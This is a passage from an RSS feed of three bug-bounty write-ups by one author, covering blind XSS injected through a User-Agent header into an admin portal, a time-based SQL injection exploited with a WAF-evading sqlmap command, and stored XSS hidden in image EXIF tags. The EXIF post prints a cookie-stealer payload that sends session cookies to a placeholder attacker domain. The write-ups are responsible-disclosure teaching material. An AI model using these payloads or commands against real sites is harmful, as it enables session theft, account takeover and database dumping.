            <content:encoded><![CDATA[<blockquote>“The User-Agent is your best friend!”</blockquote><h4>Summary:</h4><p>Highly secure environments can be great, as they can make you work harder when it comes to trying to circumvent one or more obstacles. However, sometimes you reach a wall where you likely have none of the more common paths out in plain sight for you to take advantage of, so you slowly…</p><p>start...</p><p>to…</p><p>lose…</p><p>hope…</p><p>But… this was an Administrator login portal dashboard <a href="https://en.wiktionary.org/wiki/thingamajiggy">thingamajig</a>, and Admin portals are wonderful because they provide all types of juicy treasures and goodies, as long as we can sneak our way in! Furthermore, exploitation vectors pertaining to Admin portals usually end up with a “<strong>High</strong>,” or “<strong>Critical</strong>” severity depending on the impact, so in the world of vulnerability disclosures and bug bounties, these types of findings can be top of the line.</p><p>But, after a solid amount of time with digging for sensitive information through directory brute-forcing, JavaScript file analysis, etc., I gave the application a thumbs up and went about my way…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*dXbFR-h_3egD90jg" /></figure><h4>Wait a second…</h4><p>As I was going over and reviewing my target/assessment material the next day, I caught wind of my Gmail account blowing up. Eh, I’ll check that later I thought…</p><p>But, I glanced at the title of one of the e-mails, which contained wording related to “<strong><em>…Blind XSS Payload triggered on…</em></strong>”</p><blockquote><strong>NOTE</strong>: <strong>Blind XSS occurs when a web server saves malicious provided input that in turn gets executed in another part of the application, such as back end Administrator areas or something intended for internal only folks.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*qbHVqiij3ANsSI40.gif" /></figure><p>My Blind XSS payload was executed! And ah, yes, it’s something related to our good friend, the previously discussed Administrator portal. But what triggered this to execute, how was it done, and why did I get an e-mail notification? Let’s get into the juicy stuff…</p><h4>What, why, who, how, where…huh? Okay, let’s rewind a bit…</h4><p>Whenever I’m conducting any type of ethical hacking attempts against a target, I have an immediate set of custom “<strong><em>go to</em></strong>” things that I use. This can consist of tools, payloads, and/or specific out of the box approaches that I like to leverage.</p><p>With web applications, my trusty friend Burp Suite never leaves my side, and in this case, was instrumental with helping me get into this Admin portal.</p><p>Burp Suite has a “<strong>Match and Replace</strong>” option, which allows you to include a custom set of values that then get replaced automatically during the interception process. This area is very interesting, though I will only be covering what pertains to this finding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QBEIJUgBL26rFfayvw0tng.png" /><figcaption>Default Match and Replace settings</figcaption></figure><p>We can add new rules here, or simply alter one of the predefined items. The following shows a similar example of how I set the rule to match a User-Agent value and then replace it with my provided value, in this case being a Blind XSS payload. Whenever this rule is enabled afterwards, any web requests proxied through Burp Suite will now contain a shiny new User-Agent value!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TUzuHRFLktpPxJg_alZUqg.png" /><figcaption>Custom modified rule</figcaption></figure><h4>What’s going on in this payload?</h4><p>The payload consists of the <strong><em>&lt;script&gt; src</em> </strong>attribute, and is used to specify an external JavaScript file. The external domain hosting the JavaScript file is a custom domain associated with my own personal instance utilizing the “XSSHunter” tool. Whenever the payload executes, it phones back home to me and basically says, “<strong><em>Hey, here’s where I executed, here’s a screenshot of the page where I executed, and here’s some cookies associated with who executed me</em></strong>.” There’s a few ways in which the notification can be set up, though from the context of this scenario, it was to come directly to my e-mail.</p><h4>Why did this payload work?</h4><p>When fuzzing around the Admin Portal earlier on and uncovering a slew of parameters, I noticed errors being thrown whenever something obscure such as illegal characters were included as parameter values. The default errors here in simple terms were basically saying something along the lines of “<strong>Hey, there’s been an error. Please check the logs for more details…</strong>” etc.</p><p>It is not uncommon for User-Agent content to be stored in back end logs, as they can certainly be useful when it comes to teams troubleshooting errors. When this is coupled with lack of proper validation, sanitizing, filters, etc., it can open up a huge door leading to injection issues.</p><p>In my case, the payload was smuggled straight through the front door, directly to the off limits Admin area!</p><h4>Sweet, now what!?</h4><p>After checking out the details of what my trusty little XSS probe brought back, I located a delicious set of cookies pertaining to whoever executed this payload. In this case, it appeared to have been an Administrator account, judging by certain cookie names and the values they contained. At this point, I did not try any escalation/takeover paths due to having the user’s current cookies, and opted to report it due to the affected area being a back end Admin area.</p><p>After reporting this to the specific program owners, they were able to confirm the validity of this loophole, and stamped it with a high severity rating. A fix to the overall issue was rolled out within a few days.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=935d953e17f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PENTEST TALES: Dumping a database in 15 minutes or less!]]></title>
            <link>https://medium.com/@armandjasharaj/pentest-tales-dumping-a-database-in-15-minutes-or-less-b8b04b330f42?source=rss-f83cfa7ec80a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8b04b330f42</guid>
            <dc:creator><![CDATA[Armand Jasharaj]]></dc:creator>
            <pubDate>Thu, 23 Feb 2023 20:56:19 GMT</pubDate>
            <atom:updated>2023-02-23T20:56:19.986Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Turning a $4.99 paywall into a $4,000 payout</blockquote><h4>Summary</h4><p>Typically, when encountering a new target, I like to take my time with the preliminary steps so that I can get further acquainted with the asset(s) that I am auditing/testing. While many pentests and/or bug bounty scopes usually offer some type of freedom in terms of what is explicitly in scope, there are times where only one single domain or IP is the focus of the testing.</p><p>In talking to several close InfoSec acquaintances and fellow <strong>31337 h4x0rz</strong>, most of them get pretty bummed out when they do not come across a wild card target scope, such as <strong>*.exampletarget.com</strong>, or <strong>*.exampletarget.*</strong>. While I can understand the disappointment here, I’ve grown to actually like single target scopes more and more over the past year.</p><h4>Quick Story Time</h4><p>The target I was testing had one single domain in scope, which we’ll call <a href="https://exampleorg.com/"><strong>https://exampleorg.com</strong></a>, with a strict policy stating that absolutely nothing else aside from the main domain was permitted to be tested.</p><p>Main application was super bland, with nothing interesting jumping out at me, especially since there seemed to be a paywall for doing just about anything. After walking the application for about an hour and doing my initial enumeration wizardry, I gathered a nice set of endpoints for me to analyze further, though began to note that the app didn’t seem to have any fun functionality.</p><p>However…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*6eafmcC7E1q_71HnAyFUCA.png" /></figure><p>Something definitely felt odd about this app…</p><p>There’s gotta be something behind the curtain. I then thought…what if I pay this $4.99 price tag to get access to the “<strong><em>additional functionalities</em></strong>” of the app? Okay fine, let’s give it a whirl!</p><h4>Jumping over the paywall</h4><p>So it turns out that there was a plethora of additional capabilities behind this paywall, since I now had a “<strong>premium</strong>” account. This area also allowed me to invite other users to the platform to be part of my team. I created a few test users that I controlled and finalized the team. I was immediately drawn to an area that allowed for the viewing of all of these accounts, in addition to a few drop downs that let me narrow down results further by “<strong>Pending</strong>,” “<strong>Accepted</strong>,” or “<strong>Denied</strong>.”</p><h4>Okay, now what?</h4><p>When I look for SQL Injections, I like to dig deeper than just what I see from browsing the app the normal way, as there are times when hidden parameters can be uncovered in this way, but could end up being missed in other more common automation practices. Usually I’ll try to fuzz for interesting parameters with a custom word list, though in this case, I kept on manually poking in and out of filters, etc. In this case, I selected each drop down menu value and carefully examined what each was doing behind the scenes.</p><p>This specific GET request caught my eye and I started to fumble around with it further:</p><pre>GET /portal/admin/users?user=test&amp;userstatus=1 HTTP/2<br>Host: www.exampleorg.com<br>Cookie: somedeliciouscookiehere<br>User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: none<br>Sec-Fetch-User: ?1<br>Te: trailers</pre><p>Next, with the help of my trusty friend, the single quote, we were able to cause the following delightful error:</p><blockquote><strong>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...</strong></blockquote><p>After this wonderful sight, I played around with some MySQL based test payloads, with the final one I used to confirm further being blind/time based. Below is an example of the payload used within the vulnerable parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*d2BKGiBHB8BCDT9hmmM6NQ.png" /></figure><p>The purpose of this payload was to confirm the vulnerability, as in this case, the request took exactly 5 seconds to fully complete, confirming the time based attempt.</p><h4>Okay, that’s great, but what else can we do?</h4><p>Well, we can at least dump something to build a working PoC. This target had a WAF, so my thought was to try and evade it during my attempt to leverage SQLMap into the mix. SQLMap has a few different things that can be used for this.</p><p>Tamper scripts have a goal of altering requests in ways that will try and keep a WAF from detecting unusual and/or malicious behavior.</p><p>The following SQLMap command set was crafted and used to dump the database name, current user, etc.</p><blockquote><strong>sqlmap -r testrequest.req -p ‘userstatus’ — delay=3 — tamper=between — current-db — current-user</strong></blockquote><p>Under the hood, we have a delay of 3 seconds as to not overwhelm the target, followed by leveraging the “<strong>tamper=between</strong>” tamper script, in addition to listing out the current DB/User.</p><p>After the final touches are applied, the command was ran, resulting in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*mD_LkhH6AZhqOpIVG7aJiw.png" /></figure><p>The target in this case approved some additional user dump attempts, though that will not be demonstrated as highly sensitive information was observed as a result. As this was a private bug bounty based pentest assessment, the ultimate payout for this finding was $4,000.</p><h4>In conclusion…</h4><p>Whenever you encounter a pay wall, consider taking the leap to observe what’s happening behind the curtains, as it could very well lead you to some solid exploitation vectors that would otherwise go unnoticed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8b04b330f42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PENTEST TALES: EXIF Data Manipulation]]></title>
            <link>https://medium.com/@armandjasharaj/pentest-tales-exif-data-manipulation-b36beb291229?source=rss-f83cfa7ec80a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b36beb291229</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[exif-data]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[exiftool]]></category>
            <dc:creator><![CDATA[Armand Jasharaj]]></dc:creator>
            <pubDate>Sat, 05 Nov 2022 02:53:31 GMT</pubDate>
            <atom:updated>2022-11-05T02:53:31.776Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Delivering XSS via unconventional means</blockquote><h4><strong>Summary</strong></h4><p>Upon performing a private engagement on a well known popular application, I stumbled upon a subdomain containing a file upload functionality. Thus far, it was noted that the root domain and all pertaining subdomains were very well secured, containing very strict input filtering which prevented any type of injections and a pesky little Web Application Firewall that absolutely <strong>HATED </strong>arbitrary characters! Furthermore, attempting to bypass any file type restrictions during file upload in hopes of obtaining Remote Code Execution, etc. was not successful, as file extensions, file names, and Content-Type were validated properly.</p><p>At this point, that’s it, this target is completely secure, and there’s no other paths to take at this point, so they get an immediate “A+” for their security posture. Yay!</p><p>Well, unless… we think outside the box!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*0eF6ff2Lp0nSORv3hoEsCg.png" /></figure><h4><strong>Identifying Alternate Vectors</strong></h4><p>Typically, in times likes this, I look to my magical bag of all things odd and quirky for a solution, or at least a nudge as to where else I should look.</p><p>Since this area allows for the uploading of legitimate JPG/PNG files, I decided to look into what may be happening to the uploaded images. After uploading a sample image containing metadata to the platform, I took note of the final URL path, which consisted of an encoded filename while still retaining the JPEG extension. After downloading the image and viewing its properties locally, I saw that it retained all of its metadata (<strong><em>EXIF Data</em></strong>), such as “<strong><em>Comment</em></strong>” and “<strong><em>Description</em></strong>” to name a few.</p><blockquote><strong>Okay, great! But, what the heck is EXIF Data?</strong></blockquote><blockquote>EXIF stands for “Exchangeable Image File,” and is a format that stores information about an image, such as location, author, comments, dates, etc. The snippet below outlines some values which can be set:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*4dYsz7DuFqohXVYV2JtAXA.png" /><figcaption>Image Properties/Details</figcaption></figure><h4>Why does this matter?</h4><p>Typically, when a user uploads an image on a web application, metadata is stripped of any defined EXIF Data values before the actual image is uploaded into the application. If it is not, then not only can sensitive information be leaked via these images, but payloads can be smuggled within them to assist with bypassing an application’s defenses, especially if no additional validation checks are being performed.</p><h4>Putting everything together</h4><p>After locating a sample JPEG image, I manually added the following “<strong><em>Artist</em></strong>” tag to the image using <strong>ExifTool</strong>, consisting of a demo XSS payload value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*GxoBCDmCWisSpQsdlXsomw.png" /><figcaption>Leveraging ExifTool</figcaption></figure><blockquote><strong>NOTE</strong>: While I’m demonstrating with a basic payload here, for a more practical approach, a cookie stealer can also be set up, with the payload adjusted to something like the following which will relay a victim’s session cookies over to you:</blockquote><blockquote><strong>&lt;&lt;SCRIPT&gt;window.location=’http://www.yourlocallyhostedsuperduperevildomain.com/?&#39;+document.cookie&#39;);//&lt;&lt;/SCRIPT&gt;</strong></blockquote><p>Confirming that the the “<strong><em>Artist</em></strong>” tag now exists within the image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*Q9BR-PnCyICUFRxWlO3UaA.png" /></figure><p>After uploading the image, following the request(s) with the use of Burp Suite, the final URL path was visited, resulting in the execution of the test payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*SySVxQ9qExwOY19oMhHm4Q.png" /><figcaption>Confirming the stored XSS</figcaption></figure><h4>Conclusion:</h4><p>Sensitive Data Exposure related to EXIF Data not being stripped from uploaded images by itself typically classifies as a “<strong>Low</strong>” severity vulnerability (<strong><em>P4 according to Bugcrowd’s VRT</em></strong>). However, when coupled with an injection vector/payload such as what was demonstrated here, the severity can drastically increase, especially in cases of Stored XSS which can affect anyone that interacts with the vulnerable area.</p><p>For a malicious actor, this makes for a wonderful Phishing vector! Not only can this be used to perform things such as cookie stealing and/or account takeovers, but the whole thing is that much more believable since the image URL includes the trusted, legitimate domain. Because of this, it can result in increased victim clicks compared to standard Phishing cases we tend to see most of the time, which usually contain easy to spot red flags, such as a foreign domain, etc.</p><p>Well, that wraps this one up! If you run into a situation during a penetration test where EXIF Data is not properly stripped during the uploading process, always try to manually smuggle a payload into files before you upload, as they just might be your golden ticket into further exploitation.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b36beb291229" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>